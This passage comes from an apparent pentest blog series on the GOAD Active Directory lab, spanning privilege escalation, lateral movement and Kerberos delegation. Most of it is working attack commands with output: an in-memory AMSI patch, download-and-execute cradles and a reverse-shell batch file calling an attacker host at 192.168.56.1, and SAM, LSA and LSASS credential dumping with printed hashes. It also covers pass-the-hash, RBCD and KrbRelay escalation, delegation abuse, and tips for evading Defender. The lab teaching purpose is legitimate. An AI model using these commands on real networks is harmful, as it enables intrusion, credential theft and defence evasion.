    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
  • We put the bypass script on our disk and load it remotely
python3 -m http.server 8080
(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt')|IEX
image
  • Once we have done that, we can play what we want with the condition to don’t touch the disk ! #the_disk_is_lava
  • We can now play all our .net application by running them directly with execute assembly.

winPeas without touching disk

  • My favorite tools to look for privilege escalation is without a doubt winpeas
  • We already bypass amsi on the previous step, what we can do now to avoid detection is put winpeas on an http server and load it in memory
  • This article explain very well how to load and run an assembly with powershell full in memory.
cd /var/www/html
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
python3 -m http.server 8080
  • And play winPeas from memory with the following powershell commands (As winPeas is in .net we load the assembly and run it directly) :
$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8080/winPEASany_ofs.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[winPEAS.Program]::Main("");[Console]::SetOut($out);$sWriter.ToString()
  • WinPeas take several minutes to complete and give the prompt back with all the info (without the capture of the console out the output is empty in our basic powershell reverseshell, if you got a “real” shell you don’t have to do that and just launch the [winPEAS.Program]::Main(""); without the console stuff, thanks to PowerSharpPack code for the trick)
  • If you don’t want to be bored to compile .net app or modify them with public class and method and no exit.environment you can also use PowerSharpPack and get everything done for you (thanks again to @ShitSecure).
iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpPack.ps1')
PowerSharpPack -winPEAS
  • And we get the information of SEImpersonate Privilege to use for escalation
  • image

Packing your .net binary for powershell

  • If you don’t want to use binary from internet (and you should don’t use pre-compiled code grabbed on github on your pentest mission), you can also pack you own binary with the following script : EncodeAssembly.ps1
  • This script is a modification of the one from @snovvcrash website and some code of PowerSharpPack.
  • Pack with the following commands :
. .\EncodeAssembly.ps1
Invoke-EncodeAssembly -binaryPath winPEAS.exe -namespace winPEAS -capture $true
  • To be use as reflective assembly in powershell remember you should avoid environment.exit() in the .net code and also you must set the class and the main method public.

SeImpersonatePrivilege to Authority\system

  • To escalate privilege from our iis (or mssql) user with SeImpersonatePrivilege to Authority\system we can use one of the “potatoes” technic.
  • A wonderfull blog post explain the different potatoes here : https://jlajara.gitlab.io/Potatoes_Windows_Privesc
  • So let’s use SweetPotato, a compilation of all the technics, “the potatoe to rule them all”.
  • Ok so we clone the project and compile it with visualStudio
  • Prepare a bat file to run ou powershell basic reverse shell on execution
cd www
echo "@echo off" > runme.bat
echo "start /b $(python3 payload.py 192.168.56.1 4445)" >> runme.bat
echo "exit /b" >> runme.bat
python3 -m http.server 8080
  • Prepare the listener
nc -nlvp 4445
  • With our reverse shell play the following command
mkdir c:\temp
cd c:\temp
(New-Object System.Net.WebClient).DownloadFile('http://192.168.56.1:8080/runme.bat','c:\temp\runme.bat')
$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8080/SweetPotato.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[SweetPotato.Program]::Main(@('-p=C:\temp\runme.bat'));[Console]::SetOut($out);$sWriter.ToString()
image
  • By default the tool use the printSpoofer technic by @itm4n
  • If you don’t want to compile sweet patatoes you could also do that with BadPotato from PowerSharpPack (but first we must bypass amsi -see the AMSI bypass part before- or it will be detected)
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
iex(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt')
iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpBinaries/Invoke-BadPotato.ps1')
Invoke-BadPotato -Command "c:\temp\runme.bat"
image

KrbRelay Up

  • Another very useful technic to escalate privileges is kerberos relay, like implemented in KrbRelayUp
  • Thx to @dec0ne who use GOADv1 to demonstrate the technic on his tool :)
  • As KrbRelayUp is detected by defender, we will use the step by step approach like this writeup by @an0n_r0, using @cube0x0 KrbRelay
  • At the time of writing KrbRelay is not detected by defender.
  • The conditions to exploit this privesc is LDAP signing is NOT enforced, we can check that with cme ldap-signing module :
 cme ldap 192.168.56.10-12 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M ldap-signing
image

Add computer and RBCD

  • To exploit krbrelay by adding a computer, you must be able to add new Computer, we can check that with cme MAQ module
cme ldap 192.168.56.11 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M MAQ
image
  • Add computer :
addcomputer.py -computer-name 'krbrelay$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
  • Get the SID of that computer:
PS C:\Users\jon.snow\Desktop> $o = ([ADSI]"LDAP://CN=krbrelay,CN=Computers,DC=north,DC=sevenkingdoms,DC=local").objectSID
PS C:\Users\jon.snow\Desktop> (New-Object System.Security.Principal.SecurityIdentifier($o.value, 0)).Value
S-1-5-21-3469228063-1577654746-3345322900-1127
  • Check ports
PS C:\Users\jon.snow\Desktop> .\CheckPort.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 443
  • Launch krbrelay
PS C:\Users\jon.snow\Desktop> .\KrbRelay.exe -spn ldap/winterfell.north.sevenkingdoms.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-3469228063-1577654746-3345322900-1127 -port 443
image
  • Now we finish with RBCD exploitation
  • with Impacket :
getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$':'ComputerPassword'
export KRB5CCNAME=/workspace/krbrelay\$.ccache
getST.py -impersonate 'administrator' -spn 'CIFS/castelblack.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$'
export KRB5CCNAME=/workspace/administrator@CIFS_castelblack.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k @castelblack.north.sevenkingdoms.local

C:\>whoami
north\administrator
image
  • Or with Rubeus
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
iex(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt')
iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpPack.ps1')
PowerSharpPack -rubeus -Command "hash /password:ComputerPassword"
PowerSharpPack -rubeus -Command "s4u /user:krbrelay$ /rc4:0EDDEDC35EB7B7ECDE0C9F0564E54C83 /impersonateuser:administrator /msdsspn:host/castelblack /ptt"
  • And just like the writeup made by @an0n_r0 we launch SCMUACBypass.exe by Tyranid and get a system shell
image
  • Without AV or if you modify/obfuscate KrbRelayUp you can do the all things with the following commands:
.\KrbRelayUp.exe relay -Domain north.sevenkingdoms.local -CreateNewComputerAccount -ComputerName evilhost2$ -ComputerPassword pass@123
./KrbRelayUp.exe spawn -m rbcd -d north.sevenkingdoms.local -dc winterfell.north.sevenkingdoms.local -cn evilhost2$ -cp pass@123

With other methods

  • KrbRelay can also be used to relay to ADCS or to add msDS-KeyCredentialLink and exploit with ShadowCredentials. All you need to know is on this page, this is leave as an exercice to the reader.
  • Start on braavos mssql and try to get a shell as admin :)

Useful Links

Next time we will do a review on lateral movement technics inside an active directory :)

GOAD part 9 — Lateral move

In the previous post we tried some privilege escalation techniques. Today we will talk about lateral move. Lateral move append when you already pwned a computer and you move from this computer to another.

Give me your secrets

  • Before jumping from computer to computer we must get the secrets of the owned machine.
  • Windows got a lot of different secrets stored in different place.
  • Let’s launch impacket secretsdump.py and see what we got :

❯ python3 secretsdump.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 
Impacket v0.10.1.dev1+20220912.232454.86a5cbf8 - Copyright 2022 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x9753797dfb54be86486d950690bac8ba
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0e181c6215bdbfd5b93917da349fc7cd:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405
NORTH.SEVENKINGDOMS.LOCAL/Administrator:$DCC2$10240#Administrator#afb576755bfd2762f808e2e91eb83eb3
NORTH.SEVENKINGDOMS.LOCAL/jon.snow:$DCC2$10240#jon.snow#82fdcc982f02b389a002732efaca9dc5
NORTH.SEVENKINGDOMS.LOCAL/jeor.mormont:$DCC2$10240#jeor.mormont#36d673a934e86d04ece208fc2ba1d402
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:69c32491ad552dc341b9f989daeb91243031a3267708f424461f5134fd6275f5
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:0cc49644dd699c02fb34b6ff81a86f8a
NORTH\CASTELBLACK$:des-cbc-md5:3b4fa8679e7f738a
NORTH\CASTELBLACK$:plain_password_hex:9257eeecf6e89023aefa9cc72aab5e0840541b0a494fb5dd90da4244525d3ff3dd237022108f1d811eaf1588cb96a26b9f9ff01326a300893436819216565d07d9ab02a5feb2223d80db9881e4cafdcc939bcbd8b404cfd8ef4f199c233e6adc22963de84bfb172b4ed8afd798c0589ae5c0e304965784e5785cd1fcbccfe30c9b01828d2f10e6fc758eba3be36ec9f5f84bf4e8606bfedbfcfd4700142884277862817141ba9b41d5e9cb4aad33f1153e9e6d166af5077d0ceec54e97614e48b09575732db2053b5da17844015aac0a83d4f3e82d33f0f626f41634e0d445bb80396edf4398b07a1e1644b301665c5f
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:22d57aa0196b9e885130414dc88d1a95:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x8ee2a1f0f4c1689343c9d954b1422661262a52a3
dpapi_userkey:0xad6d3e6789682c3429236b14411f92f406792486
[*] NL$KM 
 0000   39 FB 46 D8 43 B6 EC E6  DE D7 CE 1C 50 2D AE B4   9.F.C.......P-..
 0010   4F 71 E1 25 BF 5E FB 14  86 14 D6 A3 0F 93 DE 42   Oq.%.^.........B
 0020   06 48 F4 35 B1 45 83 7E  1A 98 29 D6 45 19 14 D2   .H.5.E.~..).E...
 0030   C4 66 57 03 2B C5 04 01  AE 33 49 CD D2 E0 92 CE   .fW.+....3I.....
NL$KM:39fb46d843b6ece6ded7ce1c502daeb44f71e125bf5efb148614d6a30f93de420648f435b145837e1a9829d6451914d2c46657032bc50401ae3349cdd2e092ce
[*] _SC_MSSQL$SQLEXPRESS 
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up... 
[*] Stopping service RemoteRegistry

Security Account Manager (SAM) Database

  • First secretdump retreive the SAM hashes :
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0e181c6215bdbfd5b93917da349fc7cd:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
  • Let’s talk about the sam database.
  • The Security Account Manager (SAM) is a database that is present on computers running Windows operating systems that stores user accounts and security descriptors for users on the local computer.
  • The sam database is located at : C:\Windows\System32\config\SAM and is mounted on registry at HKLM/SAM
  • To be able to decrypt the data you need the contains of the system file located at C:\Windows\System32\config\SYSTEM and is available on the registry at HKLM/SYSTEM.
  • SecretDump get the contains of HKLM/SAM and HKLM/SYSTEM and decrypt the contains.
  • We dumped the sam database with secretsdump but we can also do that with the following commands :
smbserver.py -smb2support share .  # start a server to get the result
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SAM' -o '\\192.168.56.1\share'
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.1\share'
  • Or directly on our windows shell:
reg save HKLM\SAM c:\sam
reg save HKLM\SYSTEM c:\system
💡
With SAM and SYSTEM we get the contains of the LM and NT hashs stored in the sam database.
The SAM database contains all the local accounts
  • secretsdump got a command to decrypt the sam contains with the files we download :
secretsdump -sam SAM.save -system SYSTEM.save LOCAL
image
  • The result is in the following format:
<Username>:<User ID>:<LM hash>:<NT hash>:<Comment>:<Home Dir>:
  • In our result we have :
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
user: Administrator
RID : 500
LM hash : aad3b435b51404eeaad3b435b51404ee (this hash value means empty)
NT hash : dbd13e1c4e338284ac4e9874f7de6ef4 (this is the important result here)
  • Wes have the NT hash of the administrator account, so we could try lateral move with it !

Password reuse and PTH attack

  • On a pentest when you compromised a first target on an active directory system you should always try if the local accounts are the same on all the servers.
  • Almost all the time when clients are not mature in security they duplicate the same image to build all servers. By doing this, they also replicate the same administrator account and password.
  • By doing so there is password reuse everywhere in the network (if you want to avoid that you should use laps)
  • One of the best way to abuse the password reuse is by using a Pass The Hash (PTH) attack in all the network with CrackMapExec.
cme smb 192.168.56.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4' --local-auth
image
  • Here we can see there is no password reuse between castelblack and others servers.
  • But when a computer is promote to a domain controler the local administrator password is then used as the domain administrator password, so a test we could do is trying the password reuse between our administrator local account and the domain controler administrator account.
cme smb 192.168.56.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4'
image
  • As we can see the local administrator password NT hash we extracted from castelblack’s sam database is the same as the north.sevenkingdoms.local administrator NT hash.
  • Here the password reuse between castelblack and winterfell give us the domain administrator power on the north domain.
LM/NT/NTLM/NetNTLMv1/NetNTLMv2 what’s the difference ?There is a lot of confusion between the hash names and this could be very disturbing for people when they begin in the active directory exploitation.
  • LM : old format turned off by default starting in Windows Vista/Server 2008
  • NT (a.k.a NTLM) : location SAM & NTDS : This one is use for pass the hash (i still often use the generic term ntlm to call this, sry)
  • NTLMv1 (a.k.a NetNTLMv1) : Used in challenge/response between client and server -> can be cracked or used to relay NTLM
  • NTLMv2 (a.k.a NetNTLMv2) : Same as NetNTLMv1 but improved and harder to crack -> can be cracked or used to relay NTLM

LSA (Local Security Authority) secrets And Cached domain logon information

  • When your computer is enrolled on a windows active directory you can logon with the domain credentials.
  • But when the domain is unreachable you still can use your credentials even if the domain controler is unreachable.
  • This is due to the cached domain logon information who keep the credentials to verify your identity.
  • This is stored on C:\Windows\System32\config\SECURITY (available on HKLM\SECURITY)
  • Just like for the sam database you will need the system file located at C:\Windows\System32\config\SYSTEM and is available on the registry at HKLM/SYSTEM.
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.1\share'
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SECURITY' -o '\\192.168.56.1\share'
  • And extract the contain offline
secretsdump -security SECURITY.save -system SYSTEM.save LOCAL
image
  • This give us multiple interreseting information :
  • Cached domain credentials : example : NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405
    • This give us a DCC2 (Domain Cached credentials 2 ) hash (hashcat mode 2100).
    • This hash can NOT be used for PTH and must be cracked.
    • That kind of hash is very strong and long to break, so unless the password is very weak it will take an eternity to crack.
  • Machine account : example here : $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:22d57aa0196b9e885130414dc88d1a95
    • This contains the NT hash of the machine account, here it is 22d57aa0196b9e885130414dc88d1a95
💡
Remember a machine account is a valid account on the domain.The machine account (here castelblack$ ) + the hash NT we just retreive can be use to query the ldap.
  • Service account credentials : example here :
  [*] _SC_MSSQL$SQLEXPRESS
(Unknown User):YouWillNotKerboroast1ngMeeeeee
  • This is the sql_svc account register on castelBraavos computer.
  • There is also the master DPAPI key and the password for autologon

LSA secrets -> Lateral move

  • In order to process to a lateral move with LSA secrets we could :
    • Crack DCC2 hashes to gain a domain account
    • Use the machine account to query the ldap, and find over ways to exploit with ACL (Just like the user account)
    • Use the service account stored credentials we just retreive.
  • A classic example could be to launch bloudhound.py with the computer account.
image

LSASS (Local Security Authority Subsystem Service)

  • Another important secret keeper in windows Active directory is the LSASS.exe process.
  • By running tools like mimikatz it is possible to dump the contains of the LSASS process.
  • A tool is particulary usefull in lateral move + lsass dump remotely : lsassy
  • This tool combine multiple technics to dump lsass remotely on multiple computer.
⚠️
Dumping LSASS almost always ring a red alert on the anti-virus of the target computer.You will need to use AV bypass technics to be able to dump the lsass.exe process.
  • We will use lsassy combined with the dumpert module (you will have to compile dumpert first to get the dll file).
lsassy -d north.sevenkingdoms.local -u jeor.mormont -p _L0ngCl@w_ 192.168.56.22 -m dumpertdll -O dumpertdll_path=/workspace/Outflank-Dumpert-DLL.dll
image
The defender av is trigged with dumpert out of the box, but lsassy still get the time to retreive the dump informations.
  • We then find out domain NTLM hash and TGT from the Lsass process
  • Now imagine a privileged user launch a connection to castelblack
xfreerdp /d:north.sevenkingdoms.local /u:catelyn.stark /p:robbsansabradonaryarickon /v:castelblack.north.sevenkingdoms.local /cert-ignore
  • We relaunch the dump and now we can see we have the catelyn.stark ntlm hash and kirbi file in the results
image

LSASS dump -> domain users NTLM or aesKey -> lateral move (PTH and PTK)

Lateral Move with impacket

PsExec

  • PsExec:
    • upload executable
    • create a service to run the executable
    • Communicate with the service with namedPipe.
    • Protocol : SMB
psexec -hashes 'cba36eccfd9d949c73bc73715364aff5' NORTH/[email protected]
⚠️
PsExec is flagged out of the box by defender and can no longer be used with the RemCom service binary embeded with impacket without raising an alert and fail.
💡
Impacket give an option to change the service used by psexec with the -file option
  • By creating a custom psexec service you can bypass the defender av and get a shell
image
image

WmiExec

WmiExec (pseudo-shell):

  • Create new process throught wmi
  • Create file to get the command result, read the file with smb and delete it
  • Protocols : DCERPC + SMB
wmiexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/[email protected]
image
image

SmbExec

SmbExec (pseudo-shell):

  • Don’t upload executable
  • Create a service on every request
  • Get the command results on a share or on a server controled by the attacker (with -mode SERVER)
  • Protocol SMB
smbexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/[email protected]
image
image

AtExec

AtExec (execute command):

  • use a schedule task to run the command
  • protocol SMB
atexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/[email protected]
image
image

DcomExec

DecomExec (Distributed Component Object Model):

  • pseudo shell (get the result in files retreived with smb)
  • protocol DCERPC + SMB
dcomexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/[email protected]
image
image
image

Lateral Move with CME

cme smb 192.168.56.11 -H ':cba36eccfd9d949c73bc73715364aff5' -d 'north' -u 'catelyn.stark' -x whoami
  • By default cme only check if smb admin$ is writable. If it is the case cme show “pwned”.
  • For execution cme use the -x option and by default use the wmiexec impacket method
image

Using winrm

  • Winrm
    • protocol HTTP or HTTPS
evil-winrm -i 192.168.56.11 -u catelyn.stark -H 'cba36eccfd9d949c73bc73715364aff5'
image
image

Using RDP

  • If you try to do PTH with RDP :
xfreerdp /u:catelyn.stark /d:north.sevenkingdoms.local /pth:cba36eccfd9d949c73bc73715364aff5 /v:192.168.56.11
  • You will have the following error :
image
💡
To allow rdp connection without password you must Enable restricted admin
  • Enable restricted admin:
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
  • Let’s do this from linux, first let’s show the current value :
reg.py NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5' query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa'
image
  • The value doesn’t exist we create it :
reg.py NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5' add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'
  • Now try again rdp connection and it works \o/
image
  • Once finished delete the created registry key
reg.py NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5' delete -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin'

TGT

Over Pass the Hash (NT -> TGT -> authentication)

  • Get a kerberos ticket from the nt hash
getTGT.py -hashes ':cba36eccfd9d949c73bc73715364aff5' north.sevenkingdoms.local/catelyn.stark

Pass the ticket

  • Now we got the TGT of catelyn we will use it
export KRB5CCNAME=/workspace/tgt/catelyn.stark.ccache
wmiexec.py -k -no-pass north.sevenkingdoms.local/catelyn.stark@winterfell
image
  • You could also use the tickets dumped with lsassy using impacket ticketConverter:
ticketConverter.py kirbi_ticket.kirbi ccache_ticket.ccache
image

Certificate

Pass The Certificate (Cert -> NTLM or TGT)

  • Back in our ESC1 case we request a certificate
certipy req -u [email protected] -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn [email protected]
  • With certipy we can request the ntlm hash of the user and the TGT too
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
image

References

Next time we will have fun with kerberos delegation.

GOAD part 10 — Delegations

On the previous post we done some lateral move on the domain.

Now let’s try some delegation attacks. Here i will just demonstrate the exploitation, if you want to understand the delegation concept and go further you should read the following articles which are really awesome :

Delegations

  • There is three type of delegation in active directory:
    • Unconstrained delegation
    • Constrained delegation
    • Resource based delegation
  • In this blog post we will exploit the three of them.

Unconstrained delegation

  • One way to find unconstrained delegation is to look in bloodhound :
MATCH (c {unconstraineddelegation:true}) return c
image
By default on windows active directory all domain controller are setup with unconstrained delegation

If you want to search for unconstrained delegation system (out of domain controller) :

MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2 {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2
  • In the windows GUI it look like this :
image

Exploit

  • To exploit an unconstrained delegation the simplest way is to do that from windows with Rubeus.
  • We launch an RDP connection on Winterfell.
xfreerdp /d:north.sevenkingdoms.local /u:eddard.stark /p:'FightP3aceAndHonor!' /v:192.168.56.11 /cert-ignore
On the previous step we already own the north domain, let’s say we got eddard password.Eddard’s password came in cleartext when you run donPapi on Winterfell because there is a schedule task on this user
  • From there we will bypass AMSI and launch Rubeus in memory (just like in part8)
Off course we could stop the defender anti-virus on the server, but on a real Pentest you didn’t want to do that on your customer servers.
  • Prepare our server containing Rubeus.exe and our AMSI bypass.
python3 -m http.server 8080
  • On the RDP session bypass AMSI :
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt')|IEX
  • Now launch Rubeus in memory with execute assembly.
  • First we will list the available tickets :
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8080/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data);
[Rubeus.Program]::MainString("triage");
image
  • And now force a coerce of the DC kingslanding to the DC winterfell.
python3 coercer.py -u arya.stark -d north.sevenkingdoms.local -p Needle -t kingslanding.sevenkingdoms.local -l winterfell
  • We look on the triage again :
[Rubeus.Program]::MainString("triage")
  • And now the tgt of kingslanding is present
image
  • To extract it (relaunch coercer and 1 sec later launch the following dump command): (i don’t know why but the rubeus monitor mode doesn’t want to run in execute assembly)
[Rubeus.Program]::MainString("dump /user:kingslanding$ /service:krbtgt /nowrap");
image
  • We now have the TGT of the domain controller
  • Let’s continue on linux to pass the ticket and launch dcsync with secretdump :
    • copy the ticket without space and return line (in vim i do : :%s/\s*\n\s*//g)
    • convert the ticket to ccache
    • use the kerberos ticket and launch secretdump
cat tgt.b64|base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=/workspace/unconstrained/ticket.ccache
secretsdump.py -k -no-pass SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING
image
Another way of exploitation, is to do a ptt with Rubeus and launch a dcsync with Mimikatz but this implies to run Mimikatz on Winterfell and bypass the defender AV
💡
Unless you didn’t notice, the unconstrained delegation abuse was here exploited to pass from the child to the parent domain ;)

Constrained Delegation

  • Find constrained delegation with bloodhound :
MATCH p=(u)-[:AllowedToDelegate]->(c) RETURN p
image
Remark : sharphound seems to not capture the constrained delegation without protocol transition in the lab
  • Find all the constrained delegation with impacket :
findDelegation.py NORTH.SEVENKINGDOMS.LOCAL/arya.stark:Needle -target-domain north.sevenkingdoms.local
image

With protocol transition

image
  • To abuse the constrained delegation with protocol transition, the concept is to first ask a TGT for the user and execute S4U2Self followed by a S4U2Proxy to impersonate an admin user to the SPN on the target.
  • From windows with Rubeus:
.\Rubeus.exe asktgt /user:jon.snow /domain:north.sevenkingdoms.local /rc4:B8D76E56E9DAC90539AFF05E3CCB1755
.\Rubeus.exe s4u /ticket:put_the__previous_ticket_here /impersonateuser:administrator /msdsspn:CIFS/winterfell /ptt
  • From linux with impacket:
getST.py -spn 'CIFS/winterfell' -impersonate Administrator -dc-ip '192.168.56.11' 'north.sevenkingdoms.local/jon.snow:iknownothing'
  • And next we can use the TGS to connect to smb and get a shell with psexec, smbexec, wmiexec, …
image
💡
A good thing to know is that the SPN part is not encrypted in the request, so you can change it to the one you want with the following options :
  • on rubeus : /altservice
  • on impacket : -altservice
SPN lists Carlos Polop (hacktricks), give a us a useful list of the common SPN and usage on his silver ticket page

Without protocol transition

  • The constrained delegation with protocol transition was not present originally in the lab, but you can add it with the following commands :
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook vulnerabilities.yml -l dc02 --tags "data,constrained_delegation_kerb"
  • Or you could add it by hand with the powershell commands :
Set-ADComputer -Identity "castelblack$" -ServicePrincipalNames @{Add='HTTP/winterfell.north.sevenkingdoms.local'}
Set-ADComputer -Identity "castelblack$" -Add @{'msDS-AllowedToDelegateTo'=@('HTTP/winterfell.north.sevenkingdoms.local','HTTP/winterfell')}
  • This result to this in the windows GUI :
image
⚠️
The self-RBCD trick doesn’t work anymore. When i was writing this article i tried the self-rbcd without success many times. After multiple tries and fail i ask to charlie (@_nwodtuhs) what i am doing wrong, because i can’t find out why this don’t work as expected. He explained to me that the self rbcd trick didn’t work anymore and have been silent patch by Microsoft :’(
  • To exploit the constrained delegation here we only need a forwardable TGS as administrator to any service on castelblack
  • But if we do a s4u (s4u2self + s4u2proxy) like we did with protocol transition, the s4uself will send us a not forwardable TGS and the attack will fail.
  • So to exploit and get the forwardable TGS we need, we first need to add a computer and use RBCD between the created computer (rbcd_const$) and the computer who have delegation set (here castelblack$).
  • By doing that, you can do a s4u2self followed by a s4u2proxy on the added computer and the result is a forwardable tgs on hots/castelblack$ as administrator.
  • Once that done, you have the forwardable ticket to pass to s4u2proxy, and we even can change the request service with -altservice
# add computer X (rbcd_const)
addcomputer.py -computer-name 'rbcd_const$' -computer-pass 'rbcdpass' -dc-host 192.168.56.11 'north.sevenkingdoms.local/arya.stark:Needle'

# add rbcd from X (rbcd_const) to constrained (castelblack)
rbcd.py -delegate-from 'rbcd_const$' -delegate-to 'castelblack$' -dc-ip 192.168.56.11 -action 'write' -hashes ':b52ee55ea1b9fb81de8c4f0064fa9301' north.sevenkingdoms.local/'castelblack$'
  • Do the s4u2self followed by the s4u2proxy on castelblack (this is the classic RBCD attack)
# s4u2self on X (rbcd_const)
getST.py -self -impersonate "administrator" -dc-ip 192.168.56.11  north.sevenkingdoms.local/'rbcd_const$':'rbcdpass'

# s4u2proxy from X (rbcd_const) to constrained (castelblack)
